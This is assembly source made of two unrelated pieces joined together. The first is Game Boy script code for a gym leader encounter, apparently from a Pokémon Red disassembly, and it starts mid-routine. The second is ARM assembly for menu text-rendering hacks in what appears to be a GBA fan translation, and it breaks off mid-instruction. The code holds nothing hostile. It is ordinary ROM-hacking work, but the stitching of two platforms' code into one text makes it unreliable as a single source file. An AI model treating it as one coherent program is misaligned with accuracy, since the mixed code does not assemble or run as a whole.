EVENT_BEAT_KOGA jr z, .beforeBeat CheckEventReuseA EVENT_GOT_TM06 jr nz, .afterBeat call z, FuchsiaGymReceiveTM06 call DisableWaitingAfterTextDisplay jr .done .afterBeat ld hl, KogaPostBattleAdviceText call PrintText jr .done .beforeBeat ld hl, KogaBeforeBattleText call PrintText ld hl, wd72d set 6, [hl] set 7, [hl] ld hl, ReceivedSoulBadgeText ld de, ReceivedSoulBadgeText call SaveEndBattleTextPointers ldh a, [hSpriteIndex] ld [wSpriteIndex], a call EngageMapTrainer call InitBattleEnemyParameters ld a, $5 ld [wGymLeaderNo], a xor a ldh [hJoyHeld], a ld a, $3 ld [wFuchsiaGymCurScript], a .done jp TextScriptEnd KogaBeforeBattleText: text_far _KogaBeforeBattleText text_end ReceivedSoulBadgeText: text_far _ReceivedSoulBadgeText text_end KogaPostBattleAdviceText: text_far _KogaPostBattleAdviceText text_end KogaSoulBadgeInfoText: text_far _KogaSoulBadgeInfoText text_end ReceivedTM06Text: text_far _ReceivedTM06Text sound_get_key_item TM06ExplanationText: text_far _TM06ExplanationText text_end TM06NoRoomText: text_far _TM06NoRoomText text_end FuchsiaGymTrainerText1: text_asm ld hl, FuchsiaGymTrainerHeader0 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText1: text_far _FuchsiaGymBattleText1 text_end FuchsiaGymEndBattleText1: text_far _FuchsiaGymEndBattleText1 text_end FuchsiaGymAfterBattleText1: text_far _FuchsiaGymAfterBattleText1 text_end FuchsiaGymTrainerText2: text_asm ld hl, FuchsiaGymTrainerHeader1 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText2: text_far _FuchsiaGymBattleText2 text_end FuchsiaGymEndBattleText2: text_far _FuchsiaGymEndBattleText2 text_end FuchsiaGymAfterBattleText2: text_far _FuchsiaGymAfterBattleText2 text_end FuchsiaGymTrainerText3: text_asm ld hl, FuchsiaGymTrainerHeader2 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText3: text_far _FuchsiaGymBattleText3 text_end FuchsiaGymEndBattleText3: text_far _FuchsiaGymEndBattleText3 text_end FuchsiaGymAfterBattleText3: text_far _FuchsiaGymAfterBattleText3 text_end FuchsiaGymTrainerText4: text_asm ld hl, FuchsiaGymTrainerHeader3 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText4: text_far _FuchsiaGymBattleText4 text_end FuchsiaGymEndBattleText4: text_far _FuchsiaGymEndBattleText4 text_end FuchsiaGymAfterBattleText4: text_far _FuchsiaGymAfterBattleText4 text_end FuchsiaGymTrainerText5: text_asm ld hl, FuchsiaGymTrainerHeader4 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText5: text_far _FuchsiaGymBattleText5 text_end FuchsiaGymEndBattleText5: text_far _FuchsiaGymEndBattleText5 text_end FuchsiaGymAfterBattleText5: text_far _FuchsiaGymAfterBattleText5 text_end FuchsiaGymTrainerText6: text_asm ld hl, FuchsiaGymTrainerHeader5 call TalkToTrainer jp TextScriptEnd FuchsiaGymBattleText6: text_far _FuchsiaGymBattleText6 text_end FuchsiaGymEndBattleText6: text_far _FuchsiaGymEndBattleText6 text_end FuchsiaGymAfterBattleText6: text_far _FuchsiaGymAfterBattleText6 text_end FuchsiaGymGuideText: text_asm CheckEvent EVENT_BEAT_KOGA ld hl, FuchsiaGymGuidePostBattleText jr nz, .afterBeat ld hl, FuchsiaGymGuidePreBattleText .afterBeat call PrintText jp TextScriptEnd FuchsiaGymGuidePreBattleText: text_far _FuchsiaGymGuidePreBattleText text_end FuchsiaGymGuidePostBattleText: text_far _FuchsiaGymGuidePostBattleText text_end
main_menu_hacks: //============================================================================================= // This set of hacks makes the game load and display long strings on main menu stuff correctly. //============================================================================================= .write_item_text: push {r0-r1,lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 bne + pop {r0} str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} // + mov r1,#0x58 // # of max letters per item * 4, since each letter has 4 bytes for some reason cmp r0,#0x10 //If we're in the loading/saving menu, give some extra space bne + mov r1,#1 lsl r1,r1,#8 //This needs to print an actual string, not an item + ldr r0,=#0x2013070 // starting address of our item names in RAM mul r1,r6 // r6 has the current item counter, which is nice and convenient for us add r0,r0,r1 // r2 now has the proper spot in RAM for the item pop {r1} // get the address the game would write to normally str r0,[r1,#0x0] // r0 leaves with the new address in RAM for longer names yay str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} //============================================================================================= .write_item_eos: push {lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 beq .write_item_eos_memoes ldr r1,=#0x2013070 mov r2,#0x58 cmp r0,#0x10 bne + mov r2,#1 lsl r2,r2,#8 + mov r0,r10 sub r0,#1 mul r0,r2 add r1,r0,r1 lsl r6,r6,#2 add r1,r1,r6 mov r0,#1 neg r0,r0 str r0,[r1,#0] b .write_item_eos_end .write_item_eos_memoes: ldr r0,[sp,#8] mov r1,#1 neg r1,r1 str r1,[r0,#0] .write_item_eos_end: mov r1,r10 // clobbered code lsl r0,r1,#0x10 pop {pc} //============================================================================================= .clear_data: push {r2-r3,lr} // custom jeff code ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x2013060 ldr r2,=#0x8EE mov r3,#1 lsl r3,r3,#24 orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy swi #0x0B // clear old data out add sp,#4 + mov r0,#0xD8 // I assume this is clobbered code? lsl r0,r0,#0x7 pop {r2-r3,pc} //============================================================================================= .find_str: push {lr} ldr r2,[sp,#4+0x2C] ldrb r1,[r2,#0x4] // swap_address_set mov r0,#2 cmp r1,#1 beq .find_str_end mov r3,#0xAA lsl r3,r3,#3 add r3,r4,r3 // last possible address - ldr r0,[r6,#0x0] // load the real next value lsl r0,r0,#0x14 cmp r0,#0 bne .find_str_found add r6,#4 cmp r6,r3 bcs .find_str_not_found b - .find_str_found: ldr r1,[sp,#4+0x20] cmp r1,#6 beq + // if this is the memo menu, we don't swap around, still save we're mid-printing str r6,[r2,#0] // save swap_address ldr r6,[r6,#0] // new address + mov r1,#1 strb r1,[r2,#4] // swap_address_set = true mov r0,#1 .find_str_end: pop {pc} .find_str_not_found: mov r0,#0 // not found any string, signal this and reset everything sub r2,#0x20 str r0,[r2,#0] // set these to 0, we're done printing b .find_str_end //============================================================================================= .exit_str: push {lr} ldr r2,[sp,#4+0x2C] ldr r1,[sp,#4+0x20] cmp r1,#6 beq + ldrb r1,[r2,#0x4] // swap_address_set cmp r1,#1 bne + ldr r6,[r2,#0] // load swap_address if not in the memos menu and it's set + mov r1,#0 strb r1,[r2,#4] // swap_address_set = false pop {pc} //============================================================================================= // Allocates the tiles buffer for the given input in the stack .alloc_tiles_buffer: push {r0-r6,lr} ldr r4,[sp,#0x20+4] // current buffer address ldr r5,[sp,#0x20+0x10] // curr_X ldr r6,[sp,#0x20+0xC] // Y ldr r0,[sp,#0x20+0x18] // Special arrangement loading? cmp r0,#0 beq + lsr r0,r5,#3 bl .new_get_address b .alloc_tiles_buffer_got_vram_addr + lsr r0,r5,#3 asr r1,r6,#3 bl $80498B0 // VRAM address .alloc_tiles_buffer_got_vram_addr: str r0,[r4,#0] lsr r0,r5,#3 asr r1,r6,#3 bl $80498C4 // Arrangement address str r0,[r4,#4] ldr r1,=#0x6008000 ldr r2,[r4,#0] sub r2,r2,r1 // Get how many tiles this is from the start of VRAM mov r1,#0x40 add r1,r0,r1 // Position of bottom arrangements lsr r2,r2,#5 // Top arrangements mov r3,#0x20 add r3,r2,r3 // Bottom arrangements strh r2,[r0,#0] // Set the buffer arrangements strh r3,[r1,#0] add r2,#1 add r3,#1 strh r2,[r0,#2] // Set the buffer arrangements strh r3,[r1,#2] add r2,#1 add r3,#1 strh r2,[r0,#4] // Set the buffer arrangements strh r3,[r1,#4] // Time to prepare the actual buffers ldr r0,[sp,#0x20+0x14] // Is this the first? cmp r0,#0 beq + ldr r0,=#0x2013040 mov r1,r4 add r1,#8 ldr r2,[r0,#8] str r2,[r1,#0] ldr r2,[r0,#0xC] str r2,[r1,#4] ldr r2,[r0,#0x10] str r2,[r1,#8] // Restore the old top tile buffer we saved here add r1,#0x60 ldr r2,[r0,#0x14] str r2,[r1,#0] ldr r2,[r0,#0x18] str r2,[r1,#4] ldr r2,[r0,#0x1C] str r2,[r1,#8] // Restore the old bottom tile buffer we saved here mov r0,#0 push {r0} mov r0,sp mov r1,#0x28 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 top tiles of the buffer mov r0,sp mov r1,#0x88 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 bottom tiles of the buffer pop {r0} b .alloc_tiles_buffer_end + mov r0,#0 push {r0} mov r0,sp mov r1,#8 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 top tiles of the buffer mov r0,sp mov r1,#0x68 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 bottom tiles of the buffer pop {r0} .alloc_tiles_buffer_end: ldr r0,[sp,#0x20+0] // max_buffers sub r0,#1 str r0,[sp,#0x20+0] ldr r0,[sp,#0x20+4] mov r1,#0xCC add r0,r0,r1 str r0,[sp,#0x20+4] mov r0,#0 str r0,[sp,#0x20+0x14] // Set this as not the first pop {r0-r6,pc} //============================================================================================= // Initializes the specified number of tiles in the buffer. // It takes in r0 the max amount of buffers to allocate, in r1 the current buffer address, // X in r2 and Y in r3 .alloc_tiles_buffers: push {r4-r7,lr} add sp,#-0x28 str r0,[sp,#0] // max buffers str r1,[sp,#4] // buffer address str r2,[sp,#8] // X str r3,[sp,#0xC] // Y str r2,[sp,#0x10] // curr_X ldr r1,[sp,#0x3C+0x1C] str r1,[sp,#0x14] // save whether to reload the first tile or not ldr r1,[sp,#0x3C+0x34] str r1,[sp,#0x18] // save extra data for special vram printing cmp r1,#0 beq + ldr r1,[sp,#0x3C+0x38] // WARNING! THESE ARE ALMOST AT THE INSTRUCTION'S RANGE LIMIT! str r1,[sp,#0x1C] // save first base address ldr r1,[sp,#0x3C+0x3C] str r1,[sp,#0x20] // save second base address ldr r1,[sp,#0x3C+0x40] str r1,[sp,#0x24] // save switch value + mov r1,#7 and r2,r1 sub r4,r6,#4 // save str to r4 mov r5,#0 // tile_was_printed mov r3,#1 neg r3,r3 // EOS ldr r7,[sp,#0x3C+0x30] - add r4,#4 ldr r0,[r4,#0x0] // load the real next value cmp r0,r3 // go to the end if it's EOS beq .alloc_tiles_buffers_end lsl r0,r0,#0x14 lsr r0,r0,#0x14 // load the actual value add r0,r7,r0 ldrb r0,[r0,#0] // get the character's length add r2,r2,r0 // increase the length cmp r5,#0 bne + mov r5,#1 // set tile_was_printed bl .alloc_tiles_buffer // alloc the buffer ldr r0,[sp,#0] cmp r0,#0 ble .alloc_tiles_buffers_end + cmp r2,#0x18 blt - ldr r0,[sp,#0x10] .alloc_tiles_buffers_subtract_width: sub r2,#0x18 add r0,#0x18 cmp r2,#0 beq + str r0,[sp,#0x10] bl .alloc_tiles_buffer ldr r1,[sp,#0] cmp r1,#0 ble .alloc_tiles_buffers_end cmp r2,#0x18 bge .alloc_tiles_buffers_subtract_width b - + str r0,[sp,#0x10] mov r5,#0 // unset tile_was_printed b - .alloc_tiles_buffers_end: ldr r0,[sp,#0] // free buffers add sp,#0x28 pop {r4-r7,pc} //============================================================================================= .check_special_bit: push {r2,lr} // why are you pushing r2? :P strh r1,[r6,#2] // original code ldr r0,[r4,#0] // custom jeff code // maybe this is why :O ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // ldr r0,[r0,#0] // load the first letter data of the real text in + pop {r2,pc} //============================================================================================= .store_total_strings: // custom jeff code ldr r2,=#0x2013040 strb r0,[r2,#2] // store the strings total add r3,sp,#0xC mov r8,r3 bx lr //============================================================================================= // 2013040 halfword total # of letters // 2013041 ... // 2013042 byte total # of passes that will be needed // 2013043 byte current pass # // this routine initializes most of this stuff .reset_processed_strings: push {lr} // custom jeff code ldr r4,=#0x2013040 // custom area of RAM for this is here mov r2,#0 strb r2,[r4,#3] // total # of strings processed = 0 pop {pc} //============================================================================================= .load_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .load_remaining_strings_external: // custom jeff code ldr r0,=#0x2013040 ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .decrement_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r2,[r0,#3] // get the currently processed strings add r2,#1 strb r2,[r0,#3] // increase them by 1 sub r1,r1,r2 bx lr //============================================================================================= .group_add_check: push {r2-r3} // custom jeff code mov r0,#0 // this will be the final default result ldr r2,=#0x2013040 // address of start of counter area ldrb r1,[r2,#3] // load the current string # ldrb r3,[r2,#2] // load the total # of strings cmp r1,r3 // is curr_str >= total_str?, if so, set r0 to 4 to signal the end blt + // if it's <= total_str, skip this extra stuff mov r0,#4 // this will be r0 at the end, it signals the code that items are done mov r1,#0 // set the strings # back to 0 strh r1,[r2,#2] // set the total length back to 0 so the game won't freak out + mov r1,#7 // clobbered code pop {r2-r3} bx lr //============================================================================================ // This routine converts the VRAM entries from 1bpp to 4bpp. // We want to go VERY FAST. //============================================================================================ .convert_1bpp_4bpp: push {r2,r4-r6,lr} cmp r1,#0 beq .convert_1bpp_4bpp_end ldr r6,=#0x8CDF9F8 mov r2,#0xAA lsl r2,r2,#3 add r5,r2,r4 add r5,#8 // Starting tiles mov r4,r1 .convert_1bpp_4bpp_loop_start: ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_bottom: add r5,#0x60 ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_end: sub r4,#1 // One entry is done cmp r4,#0 ble .convert_1bpp_4bpp_end add r5,#0x6C b .convert_1bpp_4bpp_loop_start .convert_1bpp_4bpp_end: pop {r2,r4-r6,pc} //============================================================================================= // THIS CODE AND THE ONE IN text_weld INSIDE sprite_text_hacks ARE BASICALLY THE SAME! // THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM, // IT'S PROBABLY IN THE OTHER ONE AS WELL //Writes a Glyph stored in r0 to the buffer in r1. r2 is the X and r3 is the letter's info .write_Glyph_1bpp: push {r4-r7,lr} // This is an efficient version of the printing routine mov r5,r1 mov r6,r1 add r6,#0x20 mov r4,r0 mov r7,r2 lsl r2,r3,#0x10 lsr r2,r2,#0x1C mov r0,#1 strb r0,[r5,#8] // This tile is used strb r2,[r5,#9] // Store the palette ldr r3,[sp,#0x14+0x20] // The current letter's width cmp r7,#8 blt + mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + sub r7,#0x10 mov r5,r6 mov r0,#0x8C add r6,r6,r0 add r0,r7,r3 // Does this cross to the other tile? cmp r0,#8 blt + mov r0,#1 strb r0,[r6,#8] // This tile is used strb r2,[r6,#9] // Store the palette + add r2,r3,#7 // If this isn't a multiple of 8, it will go over a multiple of 8 now lsr r2,r2,#3 // Get total tiles number cmp r2,#2 blt + mov r2,#2 // Prevent bad stuff + //--------------------------------------------------------------------------------------------- mov r0,r8 push {r0} mov r8,r2 mov r2,#0xFF // If we had access to the stack, using a precompiled mov r0,#7 and r0,r7 lsr r2,r0 // array would be faster... Probably lsl r0,r2,#8 orr r2,r0 lsl r0,r2,#0x10 orr r2,r0 .loop_start: push {r3,r7} mov r0,#7 // Only consider part of the tile and r7,r0 ldr r3,[r4,#0] // Load the first 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r3,r2 // Left side mvn r2,r2 // Get the inverted version and r1,r2 // Right side // TOP FOUR - LEFT ldr r0,[r5,#0] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#0] // and now store it back // TOP FOUR - RIGHT str r1,[r6,#0] // and now store it back // Now we do the bottom four! ldr r3,[r4,#4] // Load the last 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r1,r2 // Right side mvn r2,r2 // Get the inverted version and r3,r2 // Left side // BOTTOM FOUR - LEFT ldr r0,[r5,#4] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#4] // and now store it back // BOTTOM FOUR - RIGHT str r1,[r6,#4] // and now store it back pop {r3,r7} mov r0,r8 // increment counter cmp r0,#1 // see if we're still under the # of tiles we need to process ble .routine_end sub r0,#1 mov r8,r0 add r7,#8 mov r0,r5 mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + add r6,#0x6C sub r3,#8 add r1,r7,r3 cmp r1,#8 blt + sub r0,#0x20 ldrb r1,[r0,#9] // Grab the colour mov r0,#1 strb r0,[r6,#8] // This tile is used strb r1,[r6,#9] // Store the palette + add r4,#8 b .loop_start //--------------------------------------------------------------------------------------------- .routine_end: pop {r0} mov r8,r0 pop {r4-r7,pc} //============================================================================================= //Prints a letter in one of the buffers. r0 is the letter, r1 is the buffer, r2 is the X .print_letter: push {r4-r7,lr} add sp,#-0x24 mov r7,r0 lsl r3,r7,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#0x38+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width str r3,[sp,#0x20] // the current letter's width mov r4,r2 mov r6,r1 bl .fast_prepare_main_font // load the letter in the stack mov r5,r0 cmp r5,#0 // is there something to print at all? beq .print_letter_end sub r5,#1 cmp r5,#1 // is there something to print at the top? beq + mov r0,sp mov r1,r6 add r1,#8 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp + cmp r5,#0 // is there something to print at the bottom? beq .print_letter_end add r0,sp,#0x10 mov r1,r6 add r1,#0x68 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp .print_letter_end: ldr r0,[sp,#0x20] add sp,#0x24 pop {r4-r7,pc} //============================================================================================= //Checks wheter the next letter will overflow the allocated number of buffers //r0 current letter, r1 number of still not fully used buffers, r2 curr_X in the current "Three tile" .check_if_overflow: push {r4,lr} mov r4,r1 lsl r3,r0,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#8+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width add r0,r2,r3 add r0,#0x17 // Check for crossing the line mov r1,#0x18 swi #6 // Divide by 0x18 sub r2,r4,r0 // Free buffers after this mov r0,#0 cmp r2,#0 // Are there any free buffers left? bge + mov r0,#1 // Signal overflow + pop {r4,pc} //============================================================================================ // This section of code stores the letter from the font's data to the stack. // Main font version. Returns if there is data to print or not. // r0 is the letter. r1 is the stack pointer //============================================================================================ .fast_prepare_main_font: ldr r2,=#{main_font} // we already know we're loading main font lsl r0,r7,#0x14 lsr r0,r0,#0x14 lsl r0,r0,#5 add r0,r2,r0 // get the address mov r5,r0 mov r1,sp mov r2,#8 swi #0xB // CpuSet for 0x10 bytes mov r0,r5 add r0,#0x10 add r1,sp,#0x10 mov r2,#8 swi #0xB // CpuSet for 0x10 bytes ldr r0,=#{main_font_usage} lsl r1,r7,#0x14 lsr r1,r1,#0x14 add r0,r0,r1 ldrb r0,[r0,#0] // Load tile usage for the letter bx lr //============================================================================================ // This section of code stores the last tile in a buffer, so it can be reloaded // later when doing the rest of the strings. // r1 is the number of used triple tiles buffers. //============================================================================================ .save_next_tile: push {r1} cmp r1,#0 ble .save_next_tile_end ldr r2,[sp,#4+0x2C] ldrb r2,[r2,#4] // Is there a partially incomplete string? cmp r2,#0 beq .save_next_tile_end ldr r2,[sp,#4+0x14] ldr r0,[sp,#4+0x18] sub r2,r2,r0 // Get the currently not fully used buffers sub r1,r1,r2 // Get the proper buffer the last tile is in mov r0,#0xCC mul r1,r0 ldr r2,[sp,#4+0x24] // Load the X and Y coords ldrh r2,[r2,#8] // Final X ldr r0,[sp,#4+8] // Last X sub r0,r2,r0 // X in the final triple tile mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 // Buffers add r2,r2,r1 // Get into the final buffer add r2,#8 // Enter the actual buffer lsr r3,r0,#3 lsl r3,r3,#3 cmp r0,r3 beq .save_next_tile_end // If it's 8-pixels aligned, it won't use this info lsr r0,r0,#3 lsl r0,r0,#5 // Get where the tile is in the buffer ldr r1,[sp,#4+0x28] // Load where to temp store this data ldr r3,[r2,#8] // Load the colour and whether it's used or not - Top Tile str r3,[r1,#0x10] add r0,r2,r0 // Get to the top tile ldr r3,[r0,#0] str r3,[r1,#8] ldr r3,[r0,#4] str r3,[r1,#0xC] // Store the top tile add r2,#0x60 // Process the bottom tile ldr r3,[r2,#8] // Load the colour and whether it's used or not - Bottom Tile str r3,[r1,#0x1C] add r0,#0x60 // Get to the bottom tile ldr r3,[r0,#0] str r3,[r1,#0x14] ldr r3,[r0,#4] str r3,[r1,#0x18] // Store the bottom tile .save_next_tile_end: pop {r1} bx lr //============================================================================================= // This hack is called in order to change how everything is printed in VRAM. Based on 0x8048CE4 //============================================================================================= define max_tiles $28 .print_vram: push {r4-r7,lr} mov r7,r10 // Base code mov r6,r9 mov r5,r8 push {r5-r7} add sp,#-0x44 mov r4,r0 mov r0,#{max_tiles} // max_tiles = buffer max str r0,[sp,#0x10] str r1,[sp,#0x34] // Save type of arrangements loading to r1 cmp r1,#0 beq + mov r0,#0x74 // Change this value if the sp add changes from -0x44 (or the pushes change)!!! mov r1,sp // This is where the data we want is now add r0,r1,r0 ldr r1,[r0,#0] str r1,[sp,#0x38] ldr r1,[r0,#4] str r1,[sp,#0x3C] ldr r1,[r0,#8] str r1,[sp,#0x40] + ldr r1,=#0x25F4 add r0,r4,r1 str r0,[sp,#0x24] // Cache a bunch of values to the stack ldr r6,[r0,#0] ldr r0,=#0x201A288 ldrb r0,[r0,#0] str r0,[sp,#0x20] // Which menu this is ldr r0,=#{main_font_width} str r0,[sp,#0x30] // main_font_width mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 mov r9,r2 ldr r0,=#0x2013040 str r0,[sp,#0x28] // Start of the printing data add r0,#0x20 str r0,[sp,#0x2C] // Replacement data bl .load_remaining_strings // Load the remaining number of strings str r1,[sp,#0xC] mov r2,sp mov r0,#1 strh r0,[r2,#0] cmp r1,#0 bne + b .print_vram_end + add r1,sp,#4 mov r10,r1 add r2,sp,#8 mov r8,r2 mov r3,#0xC3 lsl r3,r3,#3 add r7,r4,r3 .print_vram_start_of_str_loop: bl .find_str // Search for the next string cmp r0,#0 bne + b .print_vram_end + sub r0,#1 str r0,[sp,#0x1C] // Save whether to restore the old tiles or not cmp r0,#0 bne .print_vram_get_old_coords // COORD STUFF mov r0,r4 mov r1,r6 ldr r2,[sp,#0x20] cmp r2,#6 // Skip if memo menu beq + ldr r1,[sp,#0x2C] // Load the address this was saved to ldr r1,[r1,#0] + add r2,sp,#4 bl $8049280 // Get the string's coords b .print_vram_got_coords .print_vram_get_old_coords: ldr r1,[sp,#0x24] add r1,#8 ldrh r0,[r1,#0] //Load and save old X mov r3,r10 strh r0,[r3,#0] lsr r2,r0,#3 lsl r2,r2,#3 cmp r2,r0 // If it starts at 0 pixels in a new tile, then it doesn't need to restore the old tiles bne + mov r0,#0 str r0,[sp,#0x1C] // Don't restore the old tiles + ldrh r0,[r1,#2] // Load and save old Y strh r0,[r3,#2] .print_vram_got_coords: add r5,sp,#4 mov r2,#0 ldsh r2,[r5,r2] lsr r1,r2,#3 lsl r1,r1,#3 str r1,[sp,#8] mov r3,#2 ldsh r3,[r5,r3] mov r1,r9 ldr r0,[sp,#0x10] bl .alloc_tiles_buffers // Allocate the buffers for the string ldr r1,[sp,#0x10] str r0,[sp,#0x10] // New amount of free buffers sub r0,r1,r0 str r0,[sp,#0x14] // Amount of buffers used by the string mov r0,#0 str r0,[sp,#0x18] // Currently fully used buffers str r0,[sp,#0x1C] // Do not restore the old tiles - mov r0,#1 neg r0,r0 ldr r1,[r6,#0] cmp r0,r1 beq .print_vram_eos ldr r1,[sp,#0x14] ldr r0,[sp,#0x18] sub r1,r1,r0 // Get the currently not fully used buffers ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Get the current letter bl .check_if_overflow cmp r0,#0 bne .print_vram_out_of_loop mov r1,r9 ldr r0,[sp,#0x18] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the current buffer ldrh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord ldr r0,[r6,#0] // Load the letter bl .print_letter // Returns in r0 the current letter's width ldrh r2,[r5,#0] add r2,r2,r0 strh r2,[r5,#0] ldr r0,[sp,#8] sub r2,r2,r0 // Get the "Three tile" X coord cmp r2,#0x18 blt + .print_vram_handle_long_char: ldr r0,[sp,#8] add r0,#0x18 str r0,[sp,#8] ldr r0,[sp,#0x18] add r0,#1 // Increase the number of fully used buffers str r0,[sp,#0x18] sub r2,#0x18 cmp r2,#0x18 bge .print_vram_handle_long_char + .print_vram_end_of_str_loop: add r6,#4 b - .print_vram_eos: bl .exit_str add r6,#4 mov r1,r9 ldr r0,[sp,#0x14] mov r2,#0xCC mul r0,r2 add r1,r1,r0 // Get the next buffer mov r9,r1 bl .decrement_remaining_strings ldr r0,[sp,#0x10] cmp r0,#0 // Have we printed all that we could? beq .print_vram_out_of_loop cmp r1,#0 // Have we printed all the strings? bgt .print_vram_start_of_str_loop .print_vram_out_of_loop: ldr r0,[sp,#0x24] // clobbered code str r6,[r0,#0] mov r1,r10 ldrh r2,[r1,#0] // Save current coords strh r2,[r0,#8] ldrh r2,[r1,#2] strh r2,[r0,#0xA] .print_vram_end: ldr r0,=#0x76D7 add r2,r4,r0 ldr r0,[sp,#0x10] mov r1,#{max_tiles} // Get how many buffers were used sub r1,r1,r0 strb r1,[r2,#0] // Save the number so the game can use them bl .save_next_tile bl .convert_1bpp_4bpp add sp,#0x44 pop {r3-r5} mov r8,r3 mov r9,r4 mov r10,r5 pop {r4-r7,pc} //============================================================================================= // This hack fixes the string used when you try to sell an item at a shop. //============================================================================================= .sell_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the sell string to the shitpile // First get its address mov r0,#0x7D // using entry #0x7D in menus1 bl $80486A0 // gets the address of the sell string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} .question_mark: dw $001F //============================================================================================= // This hack fixes the string used when you try to buy an item at a shop. //============================================================================================= .buy_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the buy string to the shitpile // First get its address mov r0,#0x7C // using entry #0x7C in menus1 bl $80486A0 // gets the address of the buy string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov 